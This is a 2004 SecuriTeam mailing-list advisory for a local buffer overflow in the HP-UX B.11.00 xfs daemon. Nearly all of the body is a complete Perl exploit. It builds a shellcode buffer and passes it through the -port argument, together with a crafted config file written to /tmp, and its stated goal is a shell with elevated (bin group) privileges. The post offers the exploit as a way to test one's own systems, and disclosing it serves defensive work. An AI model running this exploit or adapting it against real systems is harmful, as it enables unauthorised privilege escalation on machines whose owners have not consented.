[EXPL] HP-UX Xfs Daemon Port Buffer Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 07/13/04

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Date: 13 Jul 2004 17:54:58 +0200

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      HP-UX Xfs Daemon Port Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

    HP-UX's xfs daemon has been found to contain a vulnerability that allows a
    local attacker to cause a buffer overflow. A specially crafted buffer
    supplied as the overflowing buffer allows the execution of arbitrary code
    and the gaining of elevated privileges.

    The following exploit code can be used to test your system for the
    mentioned vulnerability.

    DETAILS

    Vulnerable Systems:
     * HP-UX B.11.00

    Exploit:
    #!/usr/contrib/bin/perl
    # Name : x_hpux_xfs.pl
    # Exploit xfs command of HPUX to get bin gid shell.
    # * Usage : perl ./x_hpux_xfs.pl
    # Discovered by watercloud 2003-03-10
    # http://www.xfocus.org (EN)
    # http://www.xfocus.net (CN)
    # Tested: HPUX B11.0
    $BUFF="A";
    $BUFF.="\x0b\x39\x02\x99"x58;
    $BUFF.="\x41\x41\x41\x41\x7f\x7f\x01\x16\x7f\x7f\x01\x1c\x0b\x39\x02\x99";
    $BUFF.="\x0b\x39\x02\x57\x2a\xe4\x97\x10\x28\x3b\x70\xef\x08\x37\x02\x43";
    $BUFF.="\xb6\xfa\x40\x04\xb6\xf9\x40\x04\xb6\xf8\x40\x04\xe4\x60\xe0\x08";
    $BUFF.="\xb6\xf6\x40\xfe\x0b\x39\x02\x99\x2b\x24\x97\x10\x28\x3b\x70\xef";
    $BUFF.="\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22\x0f\x40\x12\x0e";
    $BUFF.="\x08\x39\x02\x43\xe4\x60\xe0\x08\xb4\x16\x70\x16/bin/shA";
    open(OUTFILE, ">/tmp/.c");
    print OUTFILE "error-file=";
    print OUTFILE "\x7f\x7f\x01\x10"x500;
    close(OUTFILE);
    exec("/usr/bin/X11/xfs -config /tmp/.c -port \'$BUFF\'");
    #EOF

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:watercloud@nsfocus.com>
    watercloud.
    The original article can be found at:
    <http://xfocus.net/releases/200406/t725.html>
    http://xfocus.net/releases/200406/t725.html

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